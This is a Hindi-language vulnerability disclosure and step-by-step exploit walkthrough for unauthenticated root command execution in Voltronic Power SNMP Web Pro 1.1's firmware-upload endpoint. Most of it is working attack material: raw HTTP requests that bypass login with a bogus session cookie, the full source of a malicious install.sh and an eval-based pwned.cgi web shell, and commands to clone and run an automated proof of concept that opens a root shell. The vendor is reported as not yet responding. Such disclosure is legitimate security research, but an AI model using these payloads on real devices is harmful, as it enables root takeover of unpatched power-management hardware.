
Voltronic Power SNMP Web Pro 1.1 में पूर्व-प्रमाणीकृत पूर्ण रूट दूरस्थ कमांड निष्पादन
वोल्ट्रोनिक पावर SNMP वेब प्रो 1.1 में पूर्व-प्रमाणीकरण रहित पूर्ण रिमोट कमांड निष्पादन
SNMP Web Pro 1.1 में upload.cgi एंडपॉइंट में एक बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता मौजूद है। फर्मवेयर अपडेट कार्यक्षमता उपयोगकर्ताओं को एक tar संग्रह अपलोड करने देती है, जिसे बिना किसी इनपुट सत्यापन या सुरक्षा जाँच के निकाला (extract) और स्थापित (install) किया जाता है। एप्लिकेशन संग्रह की सामग्री को प्रतिबंधित या स्वच्छ (sanitize) नहीं करता, इसलिए एक हमलावर दुर्भावनापूर्ण CGI स्क्रिप्ट वाला एक क्राफ्टेड संग्रह अपलोड कर सकता है। थोड़े परीक्षण-और-त्रुटि के साथ - और प्रत्येक प्रतिक्रिया से लीक होने वाली जानकारी से काफी मदद मिलने पर - अपेक्षित सटीक संग्रह प्रारूप का पता लगाना और एक दुर्भावनापूर्ण संग्रह तैयार करना संभव है।
इसके अतिरिक्त, एंडपॉइंट प्रमाणीकरण को ठीक से सत्यापित नहीं करता: एक छेड़छाड़ किया हुआ या अमान्य सत्र कुकी प्रदान करना एक्सेस नियंत्रणों को बायपास करने और वैध क्रेडेंशियल्स के बिना भेद्य कार्यक्षमता तक पहुँचने के लिए पर्याप्त है, भले ही फ्रंट-एंड इसका उपयोग करने के लिए स्पष्ट रूप से लॉगिन की माँग करता हो।
सफल शोषण से एक हमलावर CGI सर्वर निर्देशिका के अंदर मनमानी निष्पादन योग्य फ़ाइलें रख सकता है और रूट विशेषाधिकारों के साथ कमांड निष्पादित कर सकता है।
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
निम्नलिखित सब कुछ एक स्थानीय इंस्टेंस (http://localhost:5555) के विरुद्ध किया गया था। दो चीज़ें इस पूरे अभ्यास को शुरू से ही तुच्छ बना देती हैं:
Cookie: -http-session-=NOT_VALID हेडर की आवश्यकता है - sid क्वेरी पैरामीटर फ्रंट-एंड जावास्क्रिप्ट द्वारा उत्पन्न एक यादृच्छिक मान है और सर्वर उसे भी अनदेखा कर देता है।नीचे दिए गए चरण उसी लूप का अनुसरण करते हैं। अनुरोधों को केवल उन न्यूनतम हेडर्स तक छोटा किया गया है जिनकी सर्वर वास्तव में परवाह करता है।
पहला ही अनुरोध हमें बता देता है कि सर्वर फर्मवेयर संग्रह कहाँ होने की अपेक्षा करता है। ध्यान दें कि params=extract CGI से किसी संग्रह को प्राप्त करने के लिए नहीं, बल्कि निकालने के लिए कह रहा है: अभी तक कुछ भी अपलोड नहीं किया गया है, एंडपॉइंट बस डिस्क पर जो भी खोजने की उम्मीद करता है उसे अनपैक करने का प्रयास करता है।
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
प्रतिक्रिया:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
बॉडी सोने से भी बढ़कर है। (NAK (नकारात्मक स्वीकृति) के अलावा जो हमें बताता है कि ऑपरेशन विफल रहा, tar बाइनरी का कच्चा आउटपुट प्रतिक्रिया में शब्दशः (verbatim) एम्बेडेड है: यह /root/upgrade.tar.gz को निकालने का प्रयास कर रहा है। साथ ही लक्षित इंस्टॉल पथ /root पर ध्यान दें - हम एक विशेषाधिकार प्राप्त प्रक्रिया से बात कर रहे हैं।
शोषण योजना के लिए दो तथ्य:
upgrade.tar.gz कर दिया जाता है और /root में रख दिया जाता है। हमारा फ़ाइल नाम मायने नहीं रखता।पहले, एक डमी tar संग्रह बनाएँ (अपलोड एक multipart POST है; इसका ट्रेस दिलचस्प नहीं है - GET कॉल सभी व्यवहार को संचालित करते हैं):
tar czvf test.tar.gz test.txt
test.txt
चक्र शुरू करें: संग्रह को अपलोड करें, फिर उसे एक्सट्रैक्ट करें:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - एक्सट्रैक्शन बिना किसी शिकायत के पूरा हो गया। यह चक्र (अपलोड -> एक्सट्रैक्ट -> इंस्टॉल) इस पूरे शोषण का स्वरूप है; यहाँ से केवल इंस्टॉल चरण बदलता है, इसलिए अगले ट्रेस केवल अनुरोध पंक्ति और प्रतिक्रिया बॉडी दिखाते हैं (हेडर्स ऊपर वाले जैसे ही रहते हैं)।
upgrade नाम का फ़ोल्डर चाहिएएक्सट्रैक्शन काम कर गया, अब इंस्टॉल करने का समय। प्रतिक्रिया अपेक्षानुसार भिन्न होती है:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK फिर से, लेकिन एक शेल कमांड के अवशेष लीक हो जाते हैं: cd: line 1: can't cd to /root/upgrade*। इंस्टॉलर मनमाना शेल चलाता है - यह निकाले गए संग्रह के अंदर upgrade नाम के फ़ोल्डर में विस्तारित होने वाले ग्लोब में cd करने का प्रयास करता है। हमारा निर्दोष सपाट संग्रह (रूट पर test.txt) ग्लोब को संतुष्ट नहीं करता। आसान समाधान: शीर्ष-स्तरीय upgrade/ निर्देशिका के साथ पुनः पैकेज करें।
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
फिर चक्र के पहले दो चरण दोहराएँ: पुनः अपलोड करें, पुनः एक्सट्रैक्ट करें।
install.sh चाहिएफिर से वही इंस्टॉल कॉल, और लीक और भी बेहतर हो जाता है:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
यह install.sh नामक स्क्रिप्ट पर chmod चलाता है - जिसका अर्थ है कि इंस्टॉल प्रक्रिया संग्रह से एक शेल स्क्रिप्ट को रूट के रूप में निष्पादित करती है। इस बिंदु पर हम संग्रह की हर फ़ाइल को नियंत्रित करते हैं, इसलिए हम उस स्क्रिप्ट को नियंत्रित करते हैं। यह पूरी भेद्यता एक पंक्ति में है: बिना प्रमाणीकरण के, रूट विशेषाधिकारों के साथ निष्पादित की जाने वाली मनमानी फ़ाइलें।
upgrade/ निर्देशिका के अंदर install.sh और pwned.cgi बनाएँ (दोनों फ़ाइलें इस रिपॉजिटरी के upgrade/ फ़ोल्डर में भी शामिल हैं)।
install.sh भौतिक लेआउट को इस तरह व्यवस्थित करता है कि हमारी स्क्रिप्ट वेब-रूट CGI निर्देशिका में डाल दी जाती है, फिर अनुमतियाँ ठीक करता है:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi एक न्यूनतम कमांड-डिस्पैचर CGI है: यह cmd क्वेरी पैरामीटर लेता है, उसे URL-डिकोड करता है और eval को देता है। यही रिमोट शेल है:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
संग्रह को पुनः पैकेज करें:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
और पूरा चक्र आखिरी बार चलाएँ:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
इस बार बिना किसी लीक त्रुटि के एक साफ (ACK: इंस्टॉलर ने बिना शिकायत किए हमारी स्क्रिप्ट चलाई, और pwned.cgi को अब CGI निर्देशिका में होना चाहिए। एक साधारण whoami इसकी पुष्टि करता है (URL को कोट करें - ; एक शेल विभाजक है, और CGI पार्सर उस पर अटक जाता है):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
रूट, डिवाइस के ARM Linux पर। शून्य क्रेडेंशियल्स से रूट शेल तक, पूरी यात्रा में केवल ऊपर के दो लीक और एक tar संग्रह लगा।

नहीं, विक्रेता ने अभी तक कोई उत्तर नहीं दिया है। लक्ष्य को सुरक्षित रखने के लिए प्रमाणीकरण के साथ एक ngnix रिवर्स प्रॉक्सी का उपयोग करें।
poc.py मैन्युअल चक्र को 1:1 स्वचालित करता है। create_in_memory_tar_archive() चरण 5 के संग्रह को मेमोरी में बनाता है (install.sh + pwned.cgi का POST-आधारित रूपांतर), फिर upload_archive(), extract_firmware() और install_firmware() चरण 2-4 को दोहराते हैं, verify_exploit_uploaded() CGI के प्रकट होने की प्रतीक्षा करता है, और spawn_non_interactive_shell() आपको एक >>> प्रॉम्प्ट में डाल देता है जिसके कमांड base64-एन्कोडेड होते हैं और pwned.cgi पर POST किए जाते हैं।